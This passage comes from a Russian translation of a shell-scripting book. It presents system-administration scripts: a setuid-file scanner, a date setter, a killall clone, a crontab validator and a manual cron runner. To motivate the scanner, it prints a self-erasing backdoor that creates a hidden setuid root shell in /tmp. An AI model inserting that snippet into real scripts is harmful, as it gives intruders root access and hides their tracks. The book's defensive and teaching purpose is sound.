Книга: Сценарии командной оболочки. Linux, OS X и Unix. 2-е издание
Назад: Глава 5. Системное администрирование: управление пользователями
Дальше: Глава 7. Пользователи Интернета

Глава 6. Системное администрирование: обслуживание системы

Наиболее типичная область применения сценариев командной оболочки — помощь в администрировании системы Unix или Linux. Причины очевидны: администраторы часто самые компетентные пользователи системы, и они также отвечают за ее бесперебойную работу. Но существует еще одна причина. Догадываетесь? Системные администраторы и опытные пользователи почти наверняка получают удовольствие, занимаясь своей системой, а разработка сценариев в окружении Unix — это настоящее удовольствие!

И на этой ноте продолжим исследовать тему применения сценариев командной оболочки в решении задач системного администрирования.

№ 45. Слежение за программами с атрибутом setuid

Существует довольно много способов, которые используют хулиганы и цифровые преступники для взлома системы Linux, независимо от наличия у них учетной записи, и один из самых простых — поиск недостаточно надежно защищенных команд с установленным атрибутом setuid или setgid. Как рассказывалось в предыдущих главах, такие команды меняют действующий идентификатор пользователя для любых вызываемых ими команд, как определено в конфигурации, чтобы обычный пользователь мог запускать сценарии, команды в котором выполняются с привилегиями суперпользователя root. Плохо. Опасно!

Например, если в сценарий с атрибутом setuid добавить следующий код, он создаст для злоумышленника оболочку с атрибутом setuid, которая выполняется с привилегиями root, когда ничего не подозревающий администратор запустит этот сценарий, зарегистрировавшись как пользователь root.

if [ "${USER:-$LOGNAME}" = "root" ] ; then # REMOVEME

  cp /bin/sh /tmp/.rootshell               # REMOVEME

  chown root /tmp/.rootshell               # REMOVEME

  chmod -f 4777 /tmp/.rootshell            # REMOVEME

  grep -v "# REMOVEME" $0 > /tmp/junk      # REMOVEME

  mv /tmp/junk $0                          # REMOVEME

fi                                         # REMOVEME

После неосторожного запуска с привилегиями root этот код скрытно скопирует файл /bin/sh в каталог /tmp/.rootshell и установит атрибут setuid, дающий привилегии root взломщику, который постарается воспользоваться им. Затем сценарий перезапишет себя, удалив строки, составляющие условную инструкцию, чтобы не оставлять следов вторжения взломщика (именно для этого в конец каждой строки добавлен комментарий # REMOVEME).

Показанный фрагмент кода вставляется в любой сценарий или команду, которые могут запускаться с действующим идентификатором пользователя root. Именно поэтому так важно следить за всеми командами с установленным атрибутом setuid, имеющимися в системе. Очевидно, что вы никогда не должны устанавливать разрешение setuid или setgid для сценариев, но это не избавляет от необходимости внимательно следить за системой.

Однако, чем показывать, как взламывать системы, покажем лучше, как выявить все имеющиеся в системе сценарии командной оболочки с установленным атрибутом setuid или setgid! Листинг 6.1 демонстрирует, как добиться этого.

Код

Листинг 6.1. Сценарий findsuid

  #!/bin/bash

  # findsuid -- проверяет доступность для записи всех файлов программ

  #   с установленным атрибутом SUID и выводит их список в удобном формате.

  mtime="7"  # Как далеко назад (в днях) проверять время модификации.

  verbose=0  # По умолчанию, давайте будем немногословными.

  if [ "$1" = "-v" ] ; then

      verbose=1  # Пользователь вызвал findsuid -v, включаем подробный режим.

  fi

  # find -perm отыскивает файлы с заданными разрешениями: 4000 и выше

  #   -- это setuid/setgid.

  find / -type f -perm +4000 -print0 | while read -d '' -r match

  do

    if [ -x "$match" ] ; then

      # Выделить атрибуты владения и привилегий из вывода ls -ld.

      owner="$(ls -ld $match | awk '{print $3}')"

      perms="$(ls -ld $match | cut -c5-10 | grep 'w')"

      if [ ! -z $perms ] ; then

        echo "**** $match (writeable and setuid $owner)"

      elif [ ! -z $(find $match -mtime -$mtime -print) ] ; then

        echo "**** $match (modified within $mtime days and setuid $owner)"

      elif [ $verbose -eq 1 ] ; then

        # По умолчанию перечисляются только опасные сценарии.

        #   Если включен подробный режим, выводить все.

        lastmod="$(ls -ld $match | awk '{print $6, $7, $8}')"

        echo "     $match (setuid $owner, last modified $lastmod)"

      fi

    fi

  done

  exit 0

Как это работает

Этот сценарий отыскивает все команды в системе, имеющие атрибут setuid и доступные для записи группе или всем остальным, и проверяет, модифицировались ли они в последние $mtime дней. Для этого используется команда find с аргументами, определяющими искомые привилегии доступа к файлам. Если пользователь затребовал подробный отчет о результатах, сценарий выводит все команды с установленным атрибутом setuid, независимо от прав на чтение/запись и даты модификации.

Запуск сценария

Этот сценарий принимает единственный необязательный аргумент -v, управляющий подробностью вывода результатов поиска программ с атрибутом setuid. Данный сценарий должен запускаться с привилегиями пользователя root, но его могут запускать и обычные пользователи, так как все они, как правильно, имеют доступ к основным каталогам.

Результаты

Для проверки мы оставили в системе уязвимый сценарий. Давайте посмотрим, сможет ли findsuid найти его (см. листинг 6.2).

Листинг 6.2. Запуск сценария findsuid и результаты поиска шпионского сценария

$ findsuid

**** /var/tmp/.sneaky/editme (writeable and setuid root)

Это он (листинг 6.3)!

Листинг 6.3. Вывод ls для шпионского сценария показывает символ s в привилегиях доступа, который означает наличие атрибута setuid

$ ls -l /var/tmp/.sneaky/editme

-rwsrwxrwx  1 root  wheel 25988 Jul 13 11:50 /var/tmp/.sneaky/editme

Это огромная дыра в системе безопасности, ожидающая, пока кто-то ею воспользуется. Мы рады, что нашли ее!

№ 46. Установка системной даты

Лаконичность лежит в основе ОС Linux и предшествовавших ей версий Unix, и она оказала самое серьезное влияние на развитие Linux. Но иногда чрезмерная лаконичность способна довести системного администратора до сумасшествия. Типичным примером может служить формат представления системной даты в команде date, показанный ниже:

usage: date [[[[[cc]yy]mm]dd]hh]mm[.ss]

Трудно даже просто пересчитать все эти квадратные скобки, не говоря уже о том, чтобы определить, что нужно вводить, а что нет. Объясним: вы можете ввести только минуты, или минуты и секунды, или часы, минуты и секунды, или месяц, плюс все перечисленное перед этим, или вы можете добавить год и даже век. Чистое сумасшествие! Вместо утомительных попыток выяснить, что и в каком порядке вводить, попробуйте воспользоваться приведенным в листинге 6.4 сценарием, который предложит ввести соответствующие значения и затем сконструирует компактную строку с датой. Это верный способ сохранить психическое здоровье.

Код

Листинг 6.4. Сценарий setdate

  #!/bin/bash

  # setdate -- дружественный интерфейс к команде date.

  # Команда date предлагает формат ввода: [[[[[cc]yy]mm]dd]hh]mm[.ss]

  # Чтобы обеспечить максимум удобств, эта функция просит ввести конкретную

  #   дату, показывая значение по умолчанию в квадратных скобках [], исходя

  #   из текущей даты и времени.

  . library.sh # Source our library of bash functions to get echon().

  askvalue()

  {

    # $1 = имя поля, $2 = значение по умолчанию, $3 = максимальное значение,

    # $4 = требуемая длина в символах/цифрах

    echon "$1 [$2] : "

    read answer

    if [ ${answer:=$2} -gt $3 ] ; then

      echo "$0: $1 $answer is invalid"

      exit 0

    elif [ "$(( $(echo $answer | wc -c) - 1 ))" -lt $4 ] ; then

      echo "$0: $1 $answer is too short: please specify $4 digits"

      exit 0

    fi

    eval $1=$answer # Загрузить в заданную переменную указанное значение.

  }

  eval $(date "+nyear=%Y nmon=%m nday=%d nhr=%H nmin=%M")

  askvalue year $nyear 3000 4

  askvalue month $nmon 12 2

  askvalue day $nday 31 2

  askvalue hour $nhr 24 2

  askvalue minute $nmin 59 2

  squished="$year$month$day$hour$minute"

  # Или, если сценарий предполагается использовать в Linux:

  # squished="$month$day$hour$minute$year"

  # Да, в системах Linux и OS X/BSD используются разные форматы.

  # Так лучше?

  echo "Setting date to $squished. You might need to enter your sudo password:"

  sudo date $squished

  exit 0

Как это работает

Чтобы максимально уменьшить размер сценария, мы использовали функцию eval , решив сразу две задачи. Во-первых, эта строка получает текущие дату и время, используя строку формата команды date. Во-вторых, она записывает полученные значения в переменные nyear, nmon, nday, nhr и nmin, которые затем используются простой функцией askvalue() , запрашивающей и проверяющей введенные значения. Использование функции eval для присваивания значений переменным также решает любые потенциальные проблемы со сменой дат или другими изменениями, которые могут произойти между вызовами функции askvalue(), что нарушило бы непротиворечивость данных в сценарии. Например, если askvalue получит месяц и день в 23:59:59, а часы и минуты в 0:00:02, системная дата фактически будет установлена на сутки назад — совершенно нежелательный результат.

Нам также нужно гарантировать использование строки с датой правильного формата, потому что, например, в OS X и в Linux он различается. По умолчанию данный сценарий использует формат даты, принятый в OS X, но в строке с комментарием приводится строка с форматом для Linux.

Вот одна из малозаметных проблем, возникающих при работе с командой date. Если в ответ на запросы сценария ввести точное время, а затем потратить несколько мгновений на ввод пароля для sudo, системное время будет на пару секунд отставать от текущего. Возможно, это совсем не проблема, но одна из причин, почему системы, подключенные к сети, должны использовать утилиты NTP (Network Time Protocol — сетевой протокол службы времени) для синхронизации с официальным сервером времени. Знакомство с механизмом синхронизации времени по сети в системах Linux и Unix можно начать с чтения страницы справочного руководства timed(8).

Запуск сценария

Обратите внимание, что сценарий использует команду sudo для вызова команды date с привилегиями root, что наглядно демонстрирует листинг 6.5. Вводя неправильный пароль в ответ на запросы sudo, вы можете экспериментировать со сценарием, не боясь получить неожиданные результаты.

Результаты

Листинг 6.5. Тестирование интерактивного сценария setdate

$ setdate

year [2017] :

month [05] :

day [07] :

hour [16] : 14

minute [53] : 50

Setting date to 201705071450. You might need to enter your sudo password:

passwd:

$

№ 47. Завершение процессов по имени

В Linux и в отдельных версиях Unix имеется удобная команда killall, позволяющая завершать все работающие приложения, имена которых соответствуют заданному шаблону. Это может пригодиться, например, для завершения всех девяти демонов mingetty или даже просто для отправки сигнала SIGHUP демону xinetd, чтобы заставить его перечитать файл конфигурации. В системах, не имеющих команды killall, можно эмулировать ее с помощью сценария командной оболочки, использующего команду ps для идентификации процессов и их завершения отправкой заданного сигнала.

Самую большую сложность в этом сценарии представляют различия в выводе команды ps в разных операционных системах. Например, давайте посмотрим, насколько различаются выводы по умолчанию команды ps в FreeBSD, Red Hat Linux и OS X.

Сначала посмотрим, что выводится в FreeBSD:

BSD $ ps

PID TT  STAT    TIME COMMAND

792  0  Ss   0:00.02 -sh (sh)

4468  0  R+   0:00.01 ps

Сравните с выводом в Red Hat Linux:

RHL $ ps

  PID TTY         TIME CMD

8065 pts/4   00:00:00 bash

12619 pts/4   00:00:00 ps

И, наконец, с выводом в OS X:

OSX $ ps

  PID TTY          TIME CMD

37055 ttys000   0:00.01 -bash

26881 ttys001   0:00.08 -bash

Что еще хуже, вместо того чтобы смоделировать типичную Unix-команду ps, GNU-версия команды ps принимает флаги в стиле BSD, в стиле SYSV и в стиле GNU. Полная каша!

К счастью, некоторые из этих несоответствий в данном конкретном сценарии можно обойти, использовав флаг cu, что позволяет получить единообразный вывод, включающий в себя владельца процесса, полное имя команды и — что особенно важно — числовой идентификатор процесса.

Кроме того, данный сценарий — первый, в котором мы по-настоящему используем всю мощь команды getopts, позволяющей работать с самыми разными параметрами командной строки и даже подставлять значения по умолчанию. Сценарий в листинге 6.6 имеет четыре начальных флага, три из которых имеют обязательные аргументы: -s SIGNAL, -u USER, -t TTY и -n. Вы увидите их в первом блоке кода.

Код

Листинг 6.6. Сценарий killall

#!/bin/bash

# killall -- посылает указанный сигнал всем процессам, имена которых

#   соответствуют заданному шаблону.

# По умолчанию завершает только процессы, принадлежащие текущему

#   пользователю, только если не запущен с привилегиями root.

#   Используйте -s SIGNAL, чтобы указать сигнал, посылаемый процессам;

#   -u USER, чтобы указать пользователя; -t TTY, чтобы указать устройство

#   tty; и -n, чтобы только получить список процессов, которые могли бы

#   быть завершены, но без их завершения.

signal="-INT"      # Сигнал по умолчанию -- прерывание.

user=""   tty=""   donothing=0

while getopts "s:u:t:n" opt; do

  case "$opt" in

    # Обратите внимание на хитрый трюк ниже: фактическая команда kill ожидает

    #   получить имя сигнала в виде -SIGNAL, но сценарий требует

    #   указать его без дефиса: SIGNAL, поэтому мы просто

    #   добавляем "-" в начало полученного имени сигнала.

    s ) signal="-$OPTARG"; ;;

    u ) if [ ! -z "$tty" ] ; then

          # Логическая ошибка: нельзя одновременно указать пользователя

          #   и устройство TTY

          echo "$0: error: -u and -t are mutually exclusive." >&2

          exit 1

        fi

        user=$OPTARG; ;;

    t ) if [ ! -z "$user" ] ; then

          echo "$0: error: -u and -t are mutually exclusive." >&2

          exit 1

        fi

        tty=$2; ;;

    n ) donothing=1; ;;

    ? ) echo "Usage: $0 [-s signal] [-u user|-t tty] [-n] pattern" >&2

        exit 1

  esac

done

# Завершить обработку всех начальных флагов с помощью getopts...

shift $(( $OPTIND - 1 ))

# Если пользователь не указал начальных аргументов

#   (предыдущая проверка в ветке -?)

if [ $# -eq 0 ] ; then

  echo "Usage: $0 [-s signal] [-u user|-t tty] [-n] pattern" >&2

  exit 1

fi

# Теперь нужно создать список числовых идентификаторов процессов,

#   соответствующих заданному устройству TTY, пользователю или текущему

#   пользователю.

if [ ! -z "$tty" ] ; then

  pids=$(ps cu -t $tty | awk "/ $1$/ { print \$2 }")

elif [ ! -z "$user" ] ; then

  pids=$(ps cu -U $user | awk "/ $1$/ { print \$2 }")

else

  pids=$(ps cu -U ${USER:-LOGNAME} | awk "/ $1$/ { print \$2 }")

fi

# Нет совпадений? Тогда все просто!

if [ -z "$pids" ] ; then

  echo "$0: no processes match pattern $1" >&2

  exit 1

fi

for pid in $pids

do

  # Послать сигнал $signal процессу с идентификатором $pid: kill при этом

  #   может вывести сообщение, если процесс уже завершился, если пользователь

  #   не имеет прав завершить процесс и так далее, но это нормально. Свою

  #   работу мы сделали.

  if [ $donothing -eq 1 ] ; then

    echo "kill $signal $pid" # Флаг -n: "показать и ничего больше не делать"

  else

    kill $signal $pid

  fi

done

exit 0

Как это работает

Так как этот сценарий выполняет агрессивную операцию и потенциально опасен, мы постарались минимизировать ложные совпадения с шаблоном, чтобы шаблон, например sh, не совпадал с такими строками в выводе ps, как bash или vi crashtest.c. Это достигается включением в шаблон префикса в команде awk (, , ).

Добавление ведущего пробела перед шаблоном $1 и завершающего якорного метасимвола $ заставляет сценарий выполнять поиск в выводе команды ps не по шаблону 'sh', а по шаблону ' sh$'.

Запуск сценария

Этот сценарий имеет несколько начальных флагов, позволяющих управлять его поведением. Флаг -s SIGNAL позволяет указать сигнал, который должен посылаться найденному процессу или процессам вместо сигнала по умолчанию SIGINT. Флаги -u USER и -t TTY удобны в первую очередь для пользователя root, поскольку дают ему возможность послать сигнал всем процессам, связанным с указанным пользователем или устройством TTY соответственно. А флаг -n позволяет заставить сценарий вывести список найденных процессов без отправки любых сигналов. Наконец, должен быть указан шаблон для поиска процессов.

Результаты

Теперь завершить все процессы csmount в OS X можно с помощью сценария killall, как показано в листинге 6.7.

Листинг 6.7. Завершение всех процессов csmount с помощью сценария killall

$ ./killall -n csmount

kill -INT 1292

kill -INT 1296

kill -INT 1306

kill -INT 1310

kill -INT 1318

Усовершенствование сценария

Иногда при работе сценария возникает маловероятная, но возможная ошибка. Чтобы обеспечить более полное совпадение с заданным шаблоном, команда awk выводит идентификаторы только для процессов, имена которых содержат шаблон в конце, плюс ведущий пробел. Но теоретически возможна ситуация, когда в системе имеется два процесса: один с именем bash и другой с именем emulate bash. Если вызвать сценарий killall с шаблоном bash, оба процесса совпадут с ним, хотя только первое совпадение будет истинным. Решить эту проблему и обеспечить непротиворечивые результаты во всех системах очень непросто.

Если вы заинтересованы в этом, напишите на основе killall свой сценарий, который позволял бы изменять приоритет процессов с помощью команды renice по их именам, а не по числовым идентификаторам. В этом случае потребуется только вызвать renice вместо kill. Команда renice изменяет относительные приоритеты выполняющихся программ, позволяя, к примеру, уменьшать приоритет процесса, занимающегося передачей большого файла, и увеличивать приоритет видеоредактора, которым в данный момент пользуется начальник.

№ 48. Проверка записей в пользовательских файлах crontab

Одним из самых удобных механизмов во вселенной Linux является планировщик cron, позволяющий планировать выполнение заданий в произвольные моменты времени в будущем или автоматически запускать их каждую минуту, каждые несколько часов, раз в месяц или даже раз в год. Каждый хороший системный администратор имеет свой комплект сценариев, запускаемых из файла crontab.

Однако формат определения заданий в cron довольно сложен: поля могут определяться как числа, диапазоны, множества и даже содержать мнемонические имена дней недели или месяцев. Хуже того, программа crontab выводит малопонятные сообщения об ошибках, когда встречает огрехи в системном или пользовательском файле с заданиями для планировщика cron.

Например, если допустить опечатку в названии дня недели, crontab выведет примерно такое сообщение об ошибке:

"/tmp/crontab.Dj7Tr4vw6R":9: bad day-of-week

crontab: errors in crontab file, can't install

Фактически в файле, вызывающем эту ошибку, есть вторая ошибка в строке 12, но crontab вынуждает нас пройти долгий путь, чтобы найти ее, из-за некачественной реализации кода, выполняющего проверку на наличие ошибок.

Вместо вылавливания ошибок способом, предлагаемым программой crontab, можно воспользоваться довольно длинным сценарием (в листинге 6.8), который просматривает файлы crontab, проверяет их синтаксис и убеждается, что все значения находятся в допустимых диапазонах. Одна из причин, почему такую проверку стоит реализовать в сценарии командной оболочки, заключается в возможности интерпретировать множества и диапазоны как отдельные значения. То есть для проверки значений, таких как 3-11 или 4, 6 и 9, достаточно проверить допустимость значений 3 и 11 для данного поля в первом случае, и значений 4, 6 и 9 во втором.

Код

Листинг 6.8. Сценарий verifycron

  #!/bin/bash

  # verifycron -- проверяет правильность оформления файла crontab.

  #   За основу принята стандартная нотация cron: min hr dom mon dow CMD,

  #   где min -- числа 0-59, hr -- числа 0-23, dom -- числа 1-31,

  #   mon -- числа 1-12 (или названия) и dow -- числа 0-7 (или названия).

  #   Поля могут содержать диапазоны (a-e), списки значений, разделенных

  #   запятыми (a,c,z), или звездочку. Обратите внимание, что форма определения

  #   диапазона с шагом, допустимая в Vixie cron (например, 2-6/2),

  #   не поддерживается текущей версией этого сценария.

  validNum()

  {

    # Возвращает 0, если аргумент содержит допустимое целое число,

    #   и 1 -- если нет. Функция принимает само число и максимально

    #   возможное значение.

    num=$1   max=$2

    # Для простоты звездочки в полях представляются символами "X",

    #   то есть любое число в форме "X" по умолчанию считается допустимым.

    if [ "$num" = "X" ] ; then

      return 0

    elif [ ! -z $(echo $num | sed 's/[[:digit:]]//g') ] ; then

      # Отбросить все цифры и проверить остаток. Не пустой? Плохо.

      return 1

    elif [ $num -gt $max ] ; then

      # Числа больше максимального значения недопустимы.

      return 1

    else

      return 0

    fi

  }

  validDay()

  {

    # Возвращает 0, если аргумент содержит допустимое название дня недели;

    #   1 -- если нет.

    case $(echo $1 | tr '[:upper:]' '[:lower:]') in

      sun*|mon*|tue*|wed*|thu*|fri*|sat*) return 0 ;;

      X) return 0 ;;  # Особый случай, это замена "*"

      *) return 1

    esac

  }

  validMon()

  {

    # Возвращает 0, если аргумент содержит допустимое название месяца;

    #   1 -- если нет.

    case $(echo $1 | tr '[:upper:]' '[:lower:]') in

      jan*|feb*|mar*|apr*|may|jun*|jul*|aug*) return 0 ;;

      sep*|oct*|nov*|dec*)                    return 0 ;;

      X) return 0 ;; # Особый случай, это замена "*"

      *) return 1        ;;

    esac

  }

  fixvars()

  {

    # Преобразует все '*' в 'X', чтобы обойти конфликт с механизмом

    #   подстановки в командной оболочке. Оригинал сохраняется

    #   в "sourceline" для включения в сообщение об ошибке.

    sourceline="$min $hour $dom $mon $dow $command"

    min=$(echo "$min" | tr '*' 'X')    # Минуты

    hour=$(echo "$hour" | tr '*' 'X')  # Часы

    dom=$(echo "$dom" | tr '*' 'X')    # День месяца

    mon=$(echo "$mon" | tr '*' 'X')    # Месяц

    dow=$(echo "$dow" | tr '*' 'X')    # День недели

  }

  if [ $# -ne 1 ] || [ ! -r $1 ] ; then

    # Если имя файла crontab не задано или если он недоступен сценарию

    #   для чтения, завершить работу с выводом сообщения.

    echo "Usage: $0 usercrontabfile" >&2

    exit 1

  fi

  lines=0   entries=0   totalerrors=0

  # Выполнить обход строк в файле crontab и проверить каждую в отдельности.

  while read min hour dom mon dow command

  do

    lines="$(( $lines + 1 ))"

    errors=0

    if [ -z "$min" -o "${min%${min#?}}" = "#" ] ; then

      # Если это пустая строка или начинается с символа "#", пропустить ее.

      continue  # Ничего проверять не надо

    fi

    ((entries++))

    fixvars

    # В этой точке все поля в текущей строке перенесены в отдельные

    #   переменные, все звездочки заменены символом "X" для удобства,

    #   поэтому можно приступать к проверке полей...

    # Проверка минут

    for minslice in $(echo "$min" | sed 's/[,-]/ /g') ; do

      if ! validNum $minslice 60 ; then

        echo "Line ${lines}: Invalid minute value \"$minslice\""

        errors=1

      fi

    done

    # Проверка часов

    for hrslice in $(echo "$hour" | sed 's/[,-]/ /g') ; do

      if ! validNum $hrslice 24 ; then

        echo "Line ${lines}: Invalid hour value \"$hrslice\""

        errors=1

      fi

    done

    # Проверка дня месяца

    for domslice in $(echo $dom | sed 's/[,-]/ /g') ; do

      if ! validNum $domslice 31 ; then

        echo "Line ${lines}: Invalid day of month value \"$domslice\""

        errors=1

      fi

    done

    # Проверка месяца: нужно проверить числовые значения и названия.

    #   Запомните, что условные инструкции вида "if ! cond" проверяют

    #   ЛОЖНОСТЬ утверждения, а не истинность.

    for monslice in $(echo "$mon" | sed 's/[,-]/ /g') ; do

      if ! validNum $monslice 12 ; then

        if ! validMon "$monslice" ; then

          echo "Line ${lines}: Invalid month value \"$monslice\""

          errors=1

        fi

      fi

    done

    # Проверка дня недели: так же может быть числом или названием.

    for dowslice in $(echo "$dow" | sed 's/[,-]/ /g') ; do

      if ! validNum $dowslice 7 ; then

        if ! validDay $dowslice ; then

          echo "Line ${lines}: Invalid day of week value \"$dowslice\""

          errors=1

        fi

      fi

    done

    if [ $errors -gt 0 ] ; then

      echo ">>>> ${lines}: $sourceline"

      echo ""

      totalerrors="$(( $totalerrors + 1 ))"

    fi

  done < $1 # читать файл crontab, имя которого передано

            #   сценарию в виде аргумента

  # Обратите внимание: в самом конце цикла while выполняется перенаправление

  #   ввода, чтобы сценарий мог исследовать файл с именем, указанным

  #   пользователем!

  echo "Done. Found $totalerrors errors in $entries crontab entries."

  exit 0

Как это работает

Самую большую проблему тут представляет механизм подстановки в командной оболочке, стремящийся заменить звездочки в значениях полей (*). Звездочка — вполне допустимый символ для полей в записях cron и в действительности используется очень широко, но, если попытаться передать его подоболочке посредством конструкции $( ) или канала, командная оболочка автоматически заменит звездочку списком файлов в текущем каталоге, что, конечно же, нежелательно. Вместо того чтобы ломать голову над применением комбинаций двойных и одиночных кавычек для обхода этой проблемы, мы решили, что проще заменить все звездочки символом X, что и делает функция fixvars , разбивая исходную строку на отдельные переменные для последующей проверки.

Также следует отметить простоту решения, использованного для обработки списков значений, разделенных запятыми и дефисами. Знаки пунктуации просто замещаются пробелами, и каждое значение анализируется, как если бы оно было отдельным числом. Именно это делает конструкция $( ) в цикле for, в строках , , , и :

$(echo "$dow" | sed 's/[,-]/ /g')

Она упрощает обход всех числовых значений и их проверку на принадлежность диапазону, допустимому для конкретного поля в crontab.

Запуск сценария

Этот сценарий легко запускается: просто передайте ему единственный аргумент с именем файла crontab. В листинге 6.9 приводится пример проверки существующего файла crontab.

Листинг 6.9. Запуск сценария verifycron после экспортирования текущего файла cron

$ crontab -l > my.crontab

$ verifycron my.crontab

$ rm my.crontab

Результаты

Для примера файла crontab, содержащего две ошибки и много комментариев, сценарий вывел результаты, показанные в листинге 6.10.

Листинг 6.10. Результаты проверки файла cron с ошибочными записями с помощью сценария verifycron

$ verifycron sample.crontab

Line 10: Invalid day of week value "Mou"

>>>> 10: 06 22 * * Mou /home/ACeSystem/bin/del_old_ACinventories.pl

Line 12: Invalid minute value "99"

>>>> 12: 99 22 * * 1-3,6 /home/ACeSystem/bin/dump_cust_part_no.pl

Done. Found 2 errors in 13 crontab entries.

Пример файла сценария с двумя ошибками, а также все сценарии, описываемые в этой книге, доступны для загрузки по адресу: http://www.nostarch.com/wcss2/.

Усовершенствование сценария

В этот сценарий стоило бы добавить несколько усовершенствований. Для начала — проверку допустимости комбинации число/месяц, чтобы пользователи не могли запланировать выполнение задания cron, например, на 31 февраля. Также было бы полезно проверить присутствие запланированной команды в системе, но для этого необходимо выполнить парсинг окончаний записей и обработать переменную PATH (то есть список каталогов, где происходит поиск команд, указанных в сценарии), которая может явно определяться внутри файла crontab. Это довольно непросто... Наконец, попробуйте добавить поддержку таких значений, как @hourly или @reboot, имеющих специальное назначение в cron и применяемых для обозначения времени вызова сценария.

№ 49. Запуск заданий cron вручную

До недавнего времени системы Linux предназначались для работы на серверах, действующих 24 часа в сутки, 7 дней в неделю, постоянно. Это отразилось на реализации планировщика cron: бессмысленно планировать выполнение задание на 2:17 ночи в каждый вторник, если система выключается каждый вечер в 18:00.

Однако многие современные системы Unix и Linux работают на настольных компьютерах и ноутбуках обычных пользователей, которые выключают их в конце дня. Далеко не все пользователи OS X, например, оставляют свои компьютеры включенными на ночь, на выходные или на праздники.

Не произойдет ничего страшного, если пользовательские задания в crontab не выполнятся из-за того, что система была выключена, потому что их можно скорректировать так, чтоб они начали выполняться после включения. Проблема возникает, когда в установленное время не выполняются ежедневные, еженедельные и ежемесячные системные задания.

Назначение сценария в листинге 6.11 состоит в том, чтобы дать администратору возможность выполнить ежедневные, еженедельные и ежемесячные задания непосредственно из командной строки.

Код

Листинг 6.11. Сценарий docron

  #!/bin/bash

  # docron -- запускает те ежедневные, еженедельные и ежемесячные системные

  #   задания cron, которые, скорее всего, не могли быть выполнены из-за

  #   выключения системы в часы, на которые эти задания

  #   запланированы.

  rootcron="/etc/crontab" # Этот путь может значительно отличаться в разных

                          #   версиях Unix и Linux.

  if [ $# -ne 1 ] ; then

    echo "Usage: $0 [daily|weekly|monthly]" >&2

    exit 1

  fi

  # Если сценарий запущен не администратором, завершить с сообщением.

  #   В предыдущих сценариях вы могли видеть, как проверяются USER и LOGNAME,

  #   но в этой ситуации проверяется непосредственно числовой идентификатор

  #   пользователя. root = 0.

  if [ "$(id -u)" -ne 0 ] ; then

    # Здесь также можно использовать $(whoami) != "root".

    echo "$0: Command must be run as 'root'" >&2

    exit 1

  fi

  # Предполагается, что в системном файле cron имеются записи с метками

  #   'daily', 'weekly' и 'monthly' (ежедневно, еженедельно и ежемесячно).

  #   Если заданий с такими метками нет, это ошибка. Но в случае, если

  #   такие задания имеются (что соответствует нашим ожиданиям), попытаемся

  #   сначала получить команду.

  job="$(awk "NF > 6 && /$1/ { for (i=7;i<=NF;i++) print \$i }" $rootcron)"

  if [ -z "$job" ] ; then  # Нет задания? Странно. Ладно, это ошибка.

    echo "$0: Error: no $1 job found in $rootcron" >&2

    exit 1

  fi

  SHELL=$(which sh) # Для соответствия с умолчаниями в cron

  eval $job        # Сценарий завершится вместе с заданием.

Как это работает

Задания cron, находящиеся в каталогах /etc/daily, /etc/weekly и /etc/monthly (или /etc/cron.daily, /etc/cron.weekly и /etc/cron.monthly), настраиваются совершенно иначе, чем пользовательские файлы crontab: это каталоги с комплектами сценариев, по одному на задание, которые выполняются механизмом crontab, как определено в файле /etc/crontab. Еще большую путаницу вносит использование другого формата для определения записей в файле /etc/crontab — он добавляет дополнительное поле, определяющее действующий идентификатор пользователя для задания.

Запись в файле /etc/crontab определяет час (во втором поле в выводе, показанном ниже), в который следует запускать ежедневные, еженедельные и ежемесячные задания, в формате, совершенно отличающемся от того, который видят обычные пользователи Linux:

$ egrep '(daily|weekly|monthly)' /etc/crontab

# Запустить ежедневные/еженедельные/ежемесячные задания.

15      3       *       *       *       root   periodic daily

30      4       *       *       6       root   periodic weekly

30      5       1       *       *       root   periodic monthly

Что случится с ежедневными, еженедельными и ежемесячными заданиями, если система будет выключена в 3:15 каждую ночь, в 4:30 по субботам и в 5:30 первого числа каждого месяца? Ничего. Они просто не выполнятся.

Вместо того, чтобы пытаться заставить cron выполнить задания, сценарий, написанный нами, идентифицирует их в файле и выполняет их непосредственно с помощью команды eval в самой последней строке . Единственное отличие от запуска заданий из сценария состоит в том, что вывод заданий, запускаемых из cron, автоматически преобразуется в электронное письмо, тогда как этот сценарий отображает весь вывод на экране.

Впрочем, воспроизвести поведение cron и отправить вывод по электронной почте можно и с помощью сценария, показанного ниже:

./docron weekly | mail -E -s "weekly cron job" admin

Запуск сценария

Этот сценарий должен запускаться с привилегиями root и одним параметром — daily, weekly или monthly, — указывающим, какую группу системных заданий cron выполнить. Как обычно, для запуска любого сценария с привилегиями root мы настоятельно рекомендуем использовать команду sudo.

Результаты

Сам сценарий фактически ничего не выводит и отображает только результаты выполнения сценариев в crontab, если только не произойдет ошибка где-то внутри сценария или внутри одного из заданий cron.

Усовершенствование сценария

Некоторые задания не должны выполняться чаще, чем раз в неделю или раз в месяц, поэтому следовало бы добавить проверку, чтобы гарантировать это. Кроме того, некоторые повторяющиеся системные задания вполне могут запускаться из cron, поэтому нельзя с уверенностью говорить, что они не выполнялись, если сценарий docron не запускался.

Как одно из решений можно создать три пустых файла, по одному для ежедневных, еженедельных и ежемесячных заданий, и затем добавить новые записи в каталоги /etc/daily, /etc/weekly и /etc/monthly, обновляющие время последней модификации соответствующего файла командой touch. Это решило бы половину проблемы: сценарий docron мог бы проверять, когда повторяющееся задание cron выполнялось последний раз, и сразу прекращать выполнение, если прошло недостаточно времени.

Но это решение не обрабатывает, например, такую ситуацию: через шесть недель после последнего запуска ежемесячных заданий cron администратор запустил сценарий docron, чтобы выполнить ежемесячные задания. Затем, через четыре дня кто-то из сотрудников позабыл выключить свой компьютер и cron выполнил ежемесячные задания. Как cron узнает, что не должен их выполнять?

В соответствующий каталог можно добавить два сценария. Один должен запускаться первым из run-script или periodic (стандартные инструменты запуска заданий cron) и снимать бит права на выполнение со всех сценариев в каталоге, кроме парного ему сценария, который должен снова устанавливать бит права на выполнение после того, как run-script или periodic просканирует каталог и установит, что ничего не должен выполнять: в каталоге нет выполняемых файлов и поэтому cron не запустит их. Однако это не идеальное решение, потому что не гарантирует определенный порядок запуска, а если мы не сможем гарантировать порядок, в котором будут запускаться новые сценарии, все решение становится непригодным.

В действительности эта дилемма не имеет надежного решения. Если только речь не идет о создании обертки для run-script или periodic, которая будет знать, как управлять запоминанием времени, чтобы гарантировать невозможность слишком частого запуска заданий. Впрочем, не исключено, что мы вообще зря беспокоимся об этом.

№ 50. Ротация файлов журналов

Пользователи, не имеющие большого опыта использования Linux, могут удивиться, как много команд, утилит и демонов регистрируют события в файлах системных журналов. Даже при наличии больших объемов дискового пространства важно следить за размерами этих файлов и, конечно, их содержимым.

